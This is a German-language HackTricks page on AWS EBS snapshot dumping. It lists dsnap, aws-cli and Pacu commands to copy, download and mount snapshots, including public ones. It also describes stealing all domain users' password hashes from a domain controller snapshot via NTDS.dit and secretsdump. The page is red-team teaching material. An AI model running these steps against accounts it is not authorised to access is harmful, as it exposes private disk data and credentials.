AWS - EBS Snapshot Dump
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Überprüfen eines Snapshots lokal
# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox
# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly
# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy
# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
caution
Hinweis dass dsnap
es Ihnen nicht erlaubt, öffentliche Snapshots herunterzuladen. Um dies zu umgehen, können Sie eine Kopie des Snapshots in Ihrem persönlichen Konto erstellen und diesen herunterladen:
# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2
# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
Für weitere Informationen zu dieser Technik siehe die ursprüngliche Forschung in https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/
Du kannst dies mit Pacu unter Verwendung des Moduls ebs__download_snapshots tun.
Überprüfen eines Snapshots in AWS
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
Mounten Sie es in einer EC2-VM unter Ihrer Kontrolle (es muss sich in derselben Region wie die Kopie des Backups befinden):
Schritt 1: Ein neues Volume Ihrer bevorzugten Größe und Art ist zu erstellen, indem Sie zu EC2 –> Volumes gehen.
Um diese Aktion auszuführen, folgen Sie diesen Befehlen:
- Erstellen Sie ein EBS-Volume, um es an die EC2-Instanz anzuhängen.
- Stellen Sie sicher, dass das EBS-Volume und die Instanz in derselben Zone sind.
Schritt 2: Die Option "Volume anhängen" ist auszuwählen, indem Sie mit der rechten Maustaste auf das erstellte Volume klicken.
Schritt 3: Die Instanz aus dem Textfeld der Instanz ist auszuwählen.
Um diese Aktion auszuführen, verwenden Sie den folgenden Befehl:
- Hängen Sie das EBS-Volume an.
Schritt 4: Melden Sie sich bei der EC2-Instanz an und listen Sie die verfügbaren Festplatten mit dem Befehl lsblk
auf.
Schritt 5: Überprüfen Sie, ob das Volume Daten enthält, indem Sie den Befehl sudo file -s /dev/xvdf
verwenden.
Wenn die Ausgabe des obigen Befehls "/dev/xvdf: data" zeigt, bedeutet dies, dass das Volume leer ist.
Schritt 6: Formatieren Sie das Volume mit dem ext4-Dateisystem, indem Sie den Befehl sudo mkfs -t ext4 /dev/xvdf
verwenden. Alternativ können Sie auch das xfs-Format verwenden, indem Sie den Befehl sudo mkfs -t xfs /dev/xvdf
verwenden. Bitte beachten Sie, dass Sie entweder ext4 oder xfs verwenden sollten.
Schritt 7: Erstellen Sie ein Verzeichnis Ihrer Wahl, um das neue ext4-Volume zu mounten. Zum Beispiel können Sie den Namen "newvolume" verwenden.
Um diese Aktion auszuführen, verwenden Sie den Befehl sudo mkdir /newvolume
.
Schritt 8: Mounten Sie das Volume im Verzeichnis "newvolume" mit dem Befehl sudo mount /dev/xvdf /newvolume/
.
Schritt 9: Wechseln Sie in das Verzeichnis "newvolume" und überprüfen Sie den Speicherplatz, um das Volume-Mount zu validieren.
Um diese Aktion auszuführen, verwenden Sie die folgenden Befehle:
- Wechseln Sie in das Verzeichnis
/newvolume
. - Überprüfen Sie den Speicherplatz mit dem Befehl
df -h .
. Die Ausgabe dieses Befehls sollte den freien Speicherplatz im Verzeichnis "newvolume" anzeigen.
Sie können dies mit Pacu unter Verwendung des Moduls ebs__explore_snapshots
tun.
Überprüfen eines Snapshots in AWS (unter Verwendung von cli)
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>
# mount the snapshot from within the VM
sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'
sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63
lsblk /dev/xvdh
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvdh 202:112 0 8G 0 disk
├─xvdh1 202:113 0 7.9G 0 part
├─xvdh14 202:126 0 4M 0 part
└─xvdh15 202:127 0 106M 0 part
sudo mount /dev/xvdh1 /mnt
ls /mnt
Shadow Copy
Jeder AWS-Benutzer, der über die Berechtigung EC2:CreateSnapshot
verfügt, kann die Hashes aller Domänenbenutzer stehlen, indem er einen Snapshot des Domänencontrollers erstellt, ihn an eine Instanz, die er kontrolliert, anbindet und die NTDS.dit und SYSTEM Registrierungs-Hive-Datei für die Verwendung mit dem Impacket-Projekt secretsdump exportiert.
Sie können dieses Tool verwenden, um den Angriff zu automatisieren: https://github.com/Static-Flow/CloudCopy oder Sie könnten eine der vorherigen Techniken nach dem Erstellen eines Snapshots verwenden.
References
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.